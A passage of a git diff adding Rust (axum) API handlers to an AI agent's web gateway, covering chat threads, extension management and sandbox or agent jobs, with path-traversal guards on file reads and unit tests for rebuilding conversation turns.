pending_approval: None, + })); + } + } + + // Empty thread (just created, no messages yet) + Ok(Json(HistoryResponse { + thread_id, + turns: Vec::new(), + has_more: false, + oldest_timestamp: None, + pending_approval: None, + })) +} + +pub async fn chat_threads_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let session_manager = state.session_manager.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Session manager not available".to_string(), + ))?; + + let session = session_manager.get_or_create_session(&state.user_id).await; + let sess = session.lock().await; + + // Try DB first for persistent thread list + if let Some(ref store) = state.store { + // Auto-create assistant thread if it doesn't exist + let assistant_id = store + .get_or_create_assistant_conversation(&state.user_id, "gateway") + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + if let Ok(summaries) = store + .list_conversations_all_channels(&state.user_id, 50) + .await + { + let mut assistant_thread = None; + let mut threads = Vec::new(); + + for s in &summaries { + let info = ThreadInfo { + id: s.id, + state: "Idle".to_string(), + turn_count: s.message_count.max(0) as usize, + created_at: s.started_at.to_rfc3339(), + updated_at: s.last_activity.to_rfc3339(), + title: s.title.clone(), + thread_type: s.thread_type.clone(), + channel: Some(s.channel.clone()), + }; + + if s.id == assistant_id { + assistant_thread = Some(info); + } else { + threads.push(info); + } + } + + // If assistant wasn't in the list (0 messages), synthesize it + if assistant_thread.is_none() { + assistant_thread = Some(ThreadInfo { + id: assistant_id, + state: "Idle".to_string(), + turn_count: 0, + created_at: chrono::Utc::now().to_rfc3339(), + updated_at: chrono::Utc::now().to_rfc3339(), + title: None, + thread_type: Some("assistant".to_string()), + channel: Some("gateway".to_string()), + }); + } + + return Ok(Json(ThreadListResponse { + assistant_thread, + threads, + active_thread: sess.active_thread, + })); + } + } + + // Fallback: in-memory only (no assistant thread without DB) + let mut sorted_threads: Vec<_> = sess.threads.values().collect(); + sorted_threads.sort_by(|a, b| b.updated_at.cmp(&a.updated_at)); + let threads: Vec = sorted_threads + .into_iter() + .map(|t| ThreadInfo { + id: t.id, + state: format!("{:?}", t.state), + turn_count: t.turns.len(), + created_at: t.created_at.to_rfc3339(), + updated_at: t.updated_at.to_rfc3339(), + title: None, + thread_type: None, + channel: Some("gateway".to_string()), + }) + .collect(); + + Ok(Json(ThreadListResponse { + assistant_thread: None, + threads, + active_thread: sess.active_thread, + })) +} + +pub async fn chat_new_thread_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let session_manager = state.session_manager.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Session manager not available".to_string(), + ))?; + + let session = session_manager.get_or_create_session(&state.user_id).await; + let (thread_id, info) = { + let mut sess = session.lock().await; + let thread = sess.create_thread(); + let id = thread.id; + let info = ThreadInfo { + id: thread.id, + state: format!("{:?}", thread.state), + turn_count: thread.turns.len(), + created_at: thread.created_at.to_rfc3339(), + updated_at: thread.updated_at.to_rfc3339(), + title: None, + thread_type: Some("thread".to_string()), + channel: Some("gateway".to_string()), + }; + (id, info) + }; + + // Persist the empty conversation row with thread_type metadata synchronously + // so that the subsequent loadThreads() call from the frontend sees it. + if let Some(ref store) = state.store { + if let Err(e) = store + .ensure_conversation(thread_id, "gateway", &state.user_id, None) + .await + { + tracing::warn!("Failed to persist new thread: {}", e); + } + let metadata_val = serde_json::json!("thread"); + if let Err(e) = store + .update_conversation_metadata_field(thread_id, "thread_type", &metadata_val) + .await + { + tracing::warn!("Failed to set thread_type metadata: {}", e); + } + } + + Ok(Json(info)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_build_turns_from_db_messages_complete() { + let now = chrono::Utc::now(); + let messages = vec![ + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "Hello".to_string(), + created_at: now, + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Hi there!".to_string(), + created_at: now + chrono::TimeDelta::seconds(1), + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "How are you?".to_string(), + created_at: now + chrono::TimeDelta::seconds(2), + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Doing well!".to_string(), + created_at: now + chrono::TimeDelta::seconds(3), + }, + ]; + + let turns = build_turns_from_db_messages(&messages); + assert_eq!(turns.len(), 2); + assert_eq!(turns[0].user_input, "Hello"); + assert_eq!(turns[0].response.as_deref(), Some("Hi there!")); + assert_eq!(turns[0].state, "Completed"); + assert_eq!(turns[1].user_input, "How are you?"); + assert_eq!(turns[1].response.as_deref(), Some("Doing well!")); + } + + #[test] + fn test_build_turns_from_db_messages_incomplete_last() { + let now = chrono::Utc::now(); + let messages = vec![ + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "Hello".to_string(), + created_at: now, + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Hi!".to_string(), + created_at: now + chrono::TimeDelta::seconds(1), + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "Lost message".to_string(), + created_at: now + chrono::TimeDelta::seconds(2), + }, + ]; + + let turns = build_turns_from_db_messages(&messages); + assert_eq!(turns.len(), 2); + assert_eq!(turns[1].user_input, "Lost message"); + assert!(turns[1].response.is_none()); + assert_eq!(turns[1].state, "Failed"); + } + + #[test] + fn test_build_turns_with_tool_calls() { + let now = chrono::Utc::now(); + let tool_calls_json = serde_json::json!([ + {"name": "shell", "result_preview": "file1.txt\nfile2.txt"}, + {"name": "http", "error": "timeout"} + ]); + let messages = vec![ + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "List files".to_string(), + created_at: now, + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "tool_calls".to_string(), + content: tool_calls_json.to_string(), + created_at: now + chrono::TimeDelta::milliseconds(500), + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Here are the files".to_string(), + created_at: now + chrono::TimeDelta::seconds(1), + }, + ]; + + let turns = build_turns_from_db_messages(&messages); + assert_eq!(turns.len(), 1); + assert_eq!(turns[0].tool_calls.len(), 2); + assert_eq!(turns[0].tool_calls[0].name, "shell"); + assert!(turns[0].tool_calls[0].has_result); + assert!(!turns[0].tool_calls[0].has_error); + assert_eq!( + turns[0].tool_calls[0].result_preview.as_deref(), + Some("file1.txt\nfile2.txt") + ); + assert_eq!(turns[0].tool_calls[1].name, "http"); + assert!(turns[0].tool_calls[1].has_error); + assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout")); + assert_eq!(turns[0].response.as_deref(), Some("Here are the files")); + assert_eq!(turns[0].state, "Completed"); + } + + #[test] + fn test_build_turns_with_malformed_tool_calls() { + let now = chrono::Utc::now(); + let messages = vec![ + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "Hello".to_string(), + created_at: now, + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "tool_calls".to_string(), + content: "not valid json".to_string(), + created_at: now + chrono::TimeDelta::milliseconds(500), + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Done".to_string(), + created_at: now + chrono::TimeDelta::seconds(1), + }, + ]; + + let turns = build_turns_from_db_messages(&messages); + assert_eq!(turns.len(), 1); + assert!(turns[0].tool_calls.is_empty()); + assert_eq!(turns[0].response.as_deref(), Some("Done")); + } + + #[test] + fn test_build_turns_backward_compatible_no_tool_calls() { + // Old threads without tool_calls messages still work + let now = chrono::Utc::now(); + let messages = vec![ + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "user".to_string(), + content: "Hello".to_string(), + created_at: now, + }, + crate::history::ConversationMessage { + id: Uuid::new_v4(), + role: "assistant".to_string(), + content: "Hi!".to_string(), + created_at: now + chrono::TimeDelta::seconds(1), + }, + ]; + + let turns = build_turns_from_db_messages(&messages); + assert_eq!(turns.len(), 1); + assert!(turns[0].tool_calls.is_empty()); + assert_eq!(turns[0].response.as_deref(), Some("Hi!")); + assert_eq!(turns[0].state, "Completed"); + } +} diff --git a/src/channels/web/handlers/extensions.rs b/src/channels/web/handlers/extensions.rs new file mode 100644 index 00000000..078af7dc --- /dev/null +++ b/src/channels/web/handlers/extensions.rs @@ -0,0 +1,187 @@ +//! Extension management API handlers. + +use std::sync::Arc; + +use axum::{ + Json, + extract::{Path, State}, + http::StatusCode, +}; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; + +pub async fn extensions_list_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Extension manager not available (secrets store required)".to_string(), + ))?; + + let installed = ext_mgr + .list(None, false) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let pairing_store = crate::pairing::PairingStore::new(); + let extensions = installed + .into_iter() + .map(|ext| { + let activation_status = if ext.kind == crate::extensions::ExtensionKind::WasmChannel { + Some(if ext.activation_error.is_some() { + "failed".to_string() + } else if !ext.authenticated { + "installed".to_string() + } else if ext.active { + let has_paired = pairing_store + .read_allow_from(&ext.name) + .map(|list| !list.is_empty()) + .unwrap_or(false); + if has_paired { + "active".to_string() + } else { + "pairing".to_string() + } + } else { + "configured".to_string() + }) + } else { + None + }; + ExtensionInfo { + name: ext.name, + display_name: ext.display_name, + kind: ext.kind.to_string(), + description: ext.description, + url: ext.url, + authenticated: ext.authenticated, + active: ext.active, + tools: ext.tools, + needs_setup: ext.needs_setup, + has_auth: ext.has_auth, + activation_status, + activation_error: ext.activation_error, + version: ext.version, + } + }) + .collect(); + + Ok(Json(ExtensionListResponse { extensions })) +} + +pub async fn extensions_tools_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let registry = state.tool_registry.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Tool registry not available".to_string(), + ))?; + + let definitions = registry.tool_definitions().await; + let tools = definitions + .into_iter() + .map(|td| ToolInfo { + name: td.name, + description: td.description, + }) + .collect(); + + Ok(Json(ToolListResponse { tools })) +} + +pub async fn extensions_install_handler( + State(state): State>, + Json(req): Json, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Extension manager not available (secrets store required)".to_string(), + ))?; + + let kind_hint = req.kind.as_deref().and_then(|k| match k { + "mcp_server" => Some(crate::extensions::ExtensionKind::McpServer), + "wasm_tool" => Some(crate::extensions::ExtensionKind::WasmTool), + "wasm_channel" => Some(crate::extensions::ExtensionKind::WasmChannel), + _ => None, + }); + + match ext_mgr + .install(&req.name, req.url.as_deref(), kind_hint) + .await + { + Ok(result) => Ok(Json(ActionResponse::ok(result.message))), + Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), + } +} + +pub async fn extensions_activate_handler( + State(state): State>, + Path(name): Path, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Extension manager not available (secrets store required)".to_string(), + ))?; + + match ext_mgr.activate(&name).await { + Ok(result) => { + // Activation just loads the WASM module. Auth (OAuth/manual) is + // triggered separately via save_setup_secrets or the auth endpoint. + Ok(Json(ActionResponse::ok(result.message))) + } + Err(activate_err) => { + let err_str = activate_err.to_string(); + let needs_auth = err_str.contains("authentication") + || err_str.contains("401") + || err_str.contains("Unauthorized"); + + if !needs_auth { + return Ok(Json(ActionResponse::fail(err_str))); + } + + // Activation failed due to auth; try authenticating first. + match ext_mgr.auth(&name, None).await { + Ok(auth_result) if auth_result.is_authenticated() => { + // Auth succeeded, retry activation. + match ext_mgr.activate(&name).await { + Ok(result) => Ok(Json(ActionResponse::ok(result.message))), + Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), + } + } + Ok(auth_result) => { + // Auth in progress (OAuth URL or awaiting manual token). + let mut resp = ActionResponse::fail( + auth_result + .instructions() + .map(String::from) + .unwrap_or_else(|| format!("'{}' requires authentication.", name)), + ); + resp.auth_url = auth_result.auth_url().map(String::from); + resp.awaiting_token = Some(auth_result.is_awaiting_token()); + resp.instructions = auth_result.instructions().map(String::from); + Ok(Json(resp)) + } + Err(auth_err) => Ok(Json(ActionResponse::fail(format!( + "Authentication failed: {}", + auth_err + )))), + } + } + } +} + +pub async fn extensions_remove_handler( + State(state): State>, + Path(name): Path, +) -> Result, (StatusCode, String)> { + let ext_mgr = state.extension_manager.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Extension manager not available (secrets store required)".to_string(), + ))?; + + match ext_mgr.remove(&name).await { + Ok(message) => Ok(Json(ActionResponse::ok(message))), + Err(e) => Ok(Json(ActionResponse::fail(e.to_string()))), + } +} diff --git a/src/channels/web/handlers/jobs.rs b/src/channels/web/handlers/jobs.rs new file mode 100644 index 00000000..8a127243 --- /dev/null +++ b/src/channels/web/handlers/jobs.rs @@ -0,0 +1,688 @@ +//! Job and sandbox API handlers. + +use std::collections::HashSet; +use std::sync::Arc; + +use axum::{ + Json, + extract::{Path, Query, State}, + http::StatusCode, +}; +use serde::Deserialize; +use uuid::Uuid; + +use crate::channels::web::server::GatewayState; +use crate::channels::web::types::*; + +pub async fn jobs_list_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let mut jobs: Vec = Vec::new(); + let mut seen_ids: HashSet = HashSet::new(); + + // Fetch sandbox jobs from database. + match store.list_sandbox_jobs().await { + Ok(sandbox_jobs) => { + for j in &sandbox_jobs { + let ui_state = match j.status.as_str() { + "creating" => "pending", + "running" => "in_progress", + s => s, + }; + seen_ids.insert(j.id); + jobs.push(JobInfo { + id: j.id, + title: j.task.clone(), + state: ui_state.to_string(), + user_id: j.user_id.clone(), + created_at: j.created_at.to_rfc3339(), + started_at: j.started_at.map(|dt| dt.to_rfc3339()), + }); + } + } + Err(e) => { + tracing::warn!("Failed to list sandbox jobs: {}", e); + } + } + + // Fetch agent (non-sandbox) jobs from database, deduplicating by ID. + match store.list_agent_jobs().await { + Ok(agent_jobs) => { + for j in &agent_jobs { + if seen_ids.contains(&j.id) { + continue; + } + jobs.push(JobInfo { + id: j.id, + title: j.title.clone(), + state: j.status.clone(), + user_id: j.user_id.clone(), + created_at: j.created_at.to_rfc3339(), + started_at: j.started_at.map(|dt| dt.to_rfc3339()), + }); + } + } + Err(e) => { + tracing::warn!("Failed to list agent jobs: {}", e); + } + } + + // Most recent first. + jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at)); + + Ok(Json(JobListResponse { jobs })) +} + +pub async fn jobs_summary_handler( + State(state): State>, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let mut total = 0; + let mut pending = 0; + let mut in_progress = 0; + let mut completed = 0; + let mut failed = 0; + let mut stuck = 0; + + // Sandbox job counts. + match store.sandbox_job_summary().await { + Ok(s) => { + total += s.total; + pending += s.creating; + in_progress += s.running; + completed += s.completed; + failed += s.failed + s.interrupted; + } + Err(e) => { + tracing::warn!("Failed to fetch sandbox job summary: {}", e); + } + } + + // Agent job counts. + match store.agent_job_summary().await { + Ok(s) => { + total += s.total; + pending += s.pending; + in_progress += s.in_progress; + completed += s.completed; + failed += s.failed; + stuck += s.stuck; + } + Err(e) => { + tracing::warn!("Failed to fetch agent job summary: {}", e); + } + } + + Ok(Json(JobSummaryResponse { + total, + pending, + in_progress, + completed, + failed, + stuck, + })) +} + +pub async fn jobs_detail_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let job_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + // Try sandbox job from DB first. + if let Ok(Some(job)) = store.get_sandbox_job(job_id).await { + let browse_id = std::path::Path::new(&job.project_dir) + .file_name() + .map(|n| n.to_string_lossy().to_string()) + .unwrap_or_else(|| job.id.to_string()); + + let ui_state = match job.status.as_str() { + "creating" => "pending", + "running" => "in_progress", + s => s, + }; + + let elapsed_secs = job.started_at.map(|start| { + let end = job.completed_at.unwrap_or_else(chrono::Utc::now); + (end - start).num_seconds().max(0) as u64 + }); + + // Synthesize transitions from timestamps. + let mut transitions = Vec::new(); + if let Some(started) = job.started_at { + transitions.push(TransitionInfo { + from: "creating".to_string(), + to: "running".to_string(), + timestamp: started.to_rfc3339(), + reason: None, + }); + } + if let Some(completed) = job.completed_at { + transitions.push(TransitionInfo { + from: "running".to_string(), + to: job.status.clone(), + timestamp: completed.to_rfc3339(), + reason: job.failure_reason.clone(), + }); + } + + let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten(); + let is_claude_code = mode.as_deref() == Some("claude_code"); + + return Ok(Json(JobDetailResponse { + id: job.id, + title: job.task.clone(), + description: String::new(), + state: ui_state.to_string(), + user_id: job.user_id.clone(), + created_at: job.created_at.to_rfc3339(), + started_at: job.started_at.map(|dt| dt.to_rfc3339()), + completed_at: job.completed_at.map(|dt| dt.to_rfc3339()), + elapsed_secs, + project_dir: Some(job.project_dir.clone()), + browse_url: Some(format!("/projects/{}/", browse_id)), + job_mode: mode.filter(|m| m != "worker"), + transitions, + can_restart: state.job_manager.is_some(), + can_prompt: is_claude_code && state.prompt_queue.is_some(), + job_kind: Some("sandbox".to_string()), + })); + } + + // Fall back to agent job from DB. + if let Ok(Some(ctx)) = store.get_job(job_id).await { + let elapsed_secs = ctx.started_at.map(|start| { + let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now); + (end - start).num_seconds().max(0) as u64 + }); + + // Only show prompt bar for jobs that have a running worker (Pending/InProgress). + // Stuck jobs have no active worker loop, so messages would be silently dropped. + let is_promptable = matches!( + ctx.state, + crate::context::JobState::Pending | crate::context::JobState::InProgress + ); + return Ok(Json(JobDetailResponse { + id: ctx.job_id, + title: ctx.title.clone(), + description: ctx.description.clone(), + state: ctx.state.to_string(), + user_id: ctx.user_id.clone(), + created_at: ctx.created_at.to_rfc3339(), + started_at: ctx.started_at.map(|dt| dt.to_rfc3339()), + completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()), + elapsed_secs, + project_dir: None, + browse_url: None, + job_mode: None, + transitions: Vec::new(), + can_restart: state.scheduler.is_some(), + can_prompt: is_promptable && state.scheduler.is_some(), + job_kind: Some("agent".to_string()), + })); + } + + Err((StatusCode::NOT_FOUND, "Job not found".to_string())) +} + +pub async fn jobs_cancel_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let job_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + // Try sandbox job cancellation. + if let Some(ref store) = state.store + && let Ok(Some(job)) = store.get_sandbox_job(job_id).await + { + if job.status == "running" || job.status == "creating" { + // Stop the container if we have a job manager. + if let Some(ref jm) = state.job_manager + && let Err(e) = jm.stop_job(job_id).await + { + tracing::warn!(job_id = %job_id, error = %e, "Failed to stop container during cancellation"); + } + store + .update_sandbox_job_status( + job_id, + "failed", + Some(false), + Some("Cancelled by user"), + None, + Some(chrono::Utc::now()), + ) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + } + return Ok(Json(serde_json::json!({ + "status": "cancelled", + "job_id": job_id, + }))); + } + + // Fall back to agent job cancellation via DB status update. + if let Some(ref store) = state.store + && let Ok(Some(job)) = store.get_job(job_id).await + { + if job.state.is_active() { + store + .update_job_status( + job_id, + crate::context::JobState::Cancelled, + Some("Cancelled by user"), + ) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + } + return Ok(Json(serde_json::json!({ + "status": "cancelled", + "job_id": job_id, + }))); + } + + Err((StatusCode::NOT_FOUND, "Job not found".to_string())) +} + +pub async fn jobs_restart_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let old_job_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + // Try sandbox job restart first. + if let Ok(Some(old_job)) = store.get_sandbox_job(old_job_id).await { + if old_job.status != "interrupted" && old_job.status != "failed" { + return Err(( + StatusCode::CONFLICT, + format!("Cannot restart job in state '{}'", old_job.status), + )); + } + + let jm = state.job_manager.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Sandbox not enabled".to_string(), + ))?; + + // Enrich the task with failure context. + let task = if let Some(ref reason) = old_job.failure_reason { + format!( + "Previous attempt failed: {}. Retry: {}", + reason, old_job.task + ) + } else { + old_job.task.clone() + }; + + let new_job_id = Uuid::new_v4(); + let now = chrono::Utc::now(); + + let record = crate::history::SandboxJobRecord { + id: new_job_id, + task: task.clone(), + status: "creating".to_string(), + user_id: old_job.user_id.clone(), + project_dir: old_job.project_dir.clone(), + success: None, + failure_reason: None, + created_at: now, + started_at: None, + completed_at: None, + credential_grants_json: old_job.credential_grants_json.clone(), + }; + store + .save_sandbox_job(&record) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let mode = match store.get_sandbox_job_mode(old_job_id).await { + Ok(Some(m)) if m == "claude_code" => { + crate::orchestrator::job_manager::JobMode::ClaudeCode + } + _ => crate::orchestrator::job_manager::JobMode::Worker, + }; + + let credential_grants: Vec = + serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| { + tracing::warn!( + job_id = %old_job.id, + "Failed to deserialize credential grants from stored job: {}. \ + Restarted job will have no credentials.", + e + ); + vec![] + }); + + let project_dir = std::path::PathBuf::from(&old_job.project_dir); + let _token = jm + .create_job( + new_job_id, + &task, + Some(project_dir), + mode, + credential_grants, + ) + .await + .map_err(|e| { + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("Failed to create container: {}", e), + ) + })?; + + store + .update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + return Ok(Json(serde_json::json!({ + "status": "restarted", + "old_job_id": old_job_id, + "new_job_id": new_job_id, + }))); + } + + // Try agent job restart: dispatch a new job via the scheduler. + if let Ok(Some(old_job)) = store.get_job(old_job_id).await { + if old_job.state.is_active() { + return Err(( + StatusCode::CONFLICT, + format!("Cannot restart job in state '{}'", old_job.state), + )); + } + + let slot = state.scheduler.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Scheduler not available".to_string(), + ))?; + let scheduler_guard = slot.read().await; + let scheduler = scheduler_guard.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Agent not started yet".to_string(), + ))?; + + // Look up failure reason (O(1) point lookup). + let failure_reason = store + .get_agent_job_failure_reason(old_job_id) + .await + .ok() + .flatten() + .unwrap_or_default(); + + let title = if !failure_reason.is_empty() { + format!( + "Previous attempt failed: {}. Retry: {}", + failure_reason, old_job.title + ) + } else { + old_job.title.clone() + }; + + let new_job_id = scheduler + .dispatch_job(&old_job.user_id, &title, &old_job.description, None) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + return Ok(Json(serde_json::json!({ + "status": "restarted", + "old_job_id": old_job_id, + "new_job_id": new_job_id, + }))); + } + + Err((StatusCode::NOT_FOUND, "Job not found".to_string())) +} + +/// Submit a follow-up prompt to a running job. +/// +/// Routes to the appropriate backend: +/// - Claude Code sandbox jobs → prompt queue (polled by the bridge) +/// - Agent (non-sandbox) jobs → WorkerMessage injection via scheduler +/// - Worker-mode sandbox jobs → not supported (no mechanism to inject) +pub async fn jobs_prompt_handler( + State(state): State>, + Path(id): Path, + Json(body): Json, +) -> Result, (StatusCode, String)> { + let job_id: uuid::Uuid = id + .parse() + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + let content = body + .get("content") + .and_then(|v| v.as_str()) + .ok_or(( + StatusCode::BAD_REQUEST, + "Missing 'content' field".to_string(), + ))? + .to_string(); + + let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false); + + // Try sandbox job path: check if we have a sandbox record for this ID. + if let Some(ref s) = state.store + && let Ok(Some(_)) = s.get_sandbox_job(job_id).await + { + // It's a sandbox job. Check if Claude Code mode. + let mode = s.get_sandbox_job_mode(job_id).await.ok().flatten(); + if mode.as_deref() == Some("claude_code") { + let prompt_queue = state.prompt_queue.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Claude Code not configured".to_string(), + ))?; + let prompt = crate::orchestrator::api::PendingPrompt { content, done }; + { + let mut queue = prompt_queue.lock().await; + queue.entry(job_id).or_default().push_back(prompt); + } + return Ok(Json(serde_json::json!({ + "status": "queued", + "job_id": job_id.to_string(), + }))); + } else { + return Err(( + StatusCode::NOT_IMPLEMENTED, + "Follow-up prompts are not supported for worker-mode sandbox jobs".to_string(), + )); + } + } + + // Try agent job path: send via scheduler. + let slot = state.scheduler.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Agent job prompts require the scheduler to be configured".to_string(), + ))?; + let scheduler_guard = slot.read().await; + if let Some(ref scheduler) = *scheduler_guard + && scheduler.is_running(job_id).await + { + scheduler + .send_message(job_id, content) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + return Ok(Json(serde_json::json!({ + "status": "sent", + "job_id": job_id.to_string(), + }))); + } + + Err(( + StatusCode::NOT_FOUND, + "Job not found or not running".to_string(), + )) +} + +/// Load persisted job events for a job (for history replay on page open). +pub async fn jobs_events_handler( + State(state): State>, + Path(id): Path, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::NOT_IMPLEMENTED, + "Database not available".to_string(), + ))?; + + let job_id: uuid::Uuid = id + .parse() + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + let events = store + .list_job_events(job_id, None) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; + + let events_json: Vec = events + .into_iter() + .map(|e| { + serde_json::json!({ + "id": e.id, + "event_type": e.event_type, + "data": e.data, + "created_at": e.created_at.to_rfc3339(), + }) + }) + .collect(); + + Ok(Json(serde_json::json!({ + "job_id": job_id.to_string(), + "events": events_json, + }))) +} + +// --- Project file handlers for sandbox jobs --- + +#[derive(Deserialize)] +pub struct FilePathQuery { + pub path: Option, +} + +pub async fn job_files_list_handler( + State(state): State>, + Path(id): Path, + Query(query): Query, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let job_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + let job = store + .get_sandbox_job(job_id) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? + .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; + + let base = std::path::PathBuf::from(&job.project_dir); + let rel_path = query.path.as_deref().unwrap_or(""); + let target = base.join(rel_path); + + // Path traversal guard. + let canonical = target + .canonicalize() + .map_err(|_| (StatusCode::NOT_FOUND, "Path not found".to_string()))?; + let base_canonical = base + .canonicalize() + .map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?; + if !canonical.starts_with(&base_canonical) { + return Err((StatusCode::FORBIDDEN, "Forbidden".to_string())); + } + + let mut entries = Vec::new(); + let mut read_dir = tokio::fs::read_dir(&canonical) + .await + .map_err(|_| (StatusCode::NOT_FOUND, "Cannot read directory".to_string()))?; + + while let Ok(Some(entry)) = read_dir.next_entry().await { + let name = entry.file_name().to_string_lossy().to_string(); + let is_dir = entry + .file_type() + .await + .map(|ft| ft.is_dir()) + .unwrap_or(false); + let rel = if rel_path.is_empty() { + name.clone() + } else { + format!("{}/{}", rel_path, name) + }; + entries.push(ProjectFileEntry { + name, + path: rel, + is_dir, + }); + } + + entries.sort_by(|a, b| b.is_dir.cmp(&a.is_dir).then_with(|| a.name.cmp(&b.name))); + + Ok(Json(ProjectFilesResponse { entries })) +} + +pub async fn job_files_read_handler( + State(state): State>, + Path(id): Path, + Query(query): Query, +) -> Result, (StatusCode, String)> { + let store = state.store.as_ref().ok_or(( + StatusCode::SERVICE_UNAVAILABLE, + "Database not available".to_string(), + ))?; + + let job_id = Uuid::parse_str(&id) + .map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?; + + let job = store + .get_sandbox_job(job_id) + .await + .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))? + .ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?; + + let path = query.path.as_deref().ok_or(( + StatusCode::BAD_REQUEST, + "path parameter required".to_string(), + ))?; + + let base = std::path::PathBuf::from(&job.project_dir); + let file_path = base.join(path); + + let canonical = file_path + .canonicalize() + .map_err(|_| (StatusCode::NOT_FOUND, "File not found".to_string()))?; + let base_canonical = base + .canonicalize() + .map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?; + if !canonical.starts_with(&base_canonical) { + return Err((StatusCode::FORBIDDEN, "Forbidden".to_string())); + } + + let content = tokio::fs::read_to_string(&canonical) + .await + .map_err(|_| (StatusCode::NOT_FOUND, "Cannot read file".to_string()))?; + + Ok(Json(ProjectFileReadResponse { + path: 